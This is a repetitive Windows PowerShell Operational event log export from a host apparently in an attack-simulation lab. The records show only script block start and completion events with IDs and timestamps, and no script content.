Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044049
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044044
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044043
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044021
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044020
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044019
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044018
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044001
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
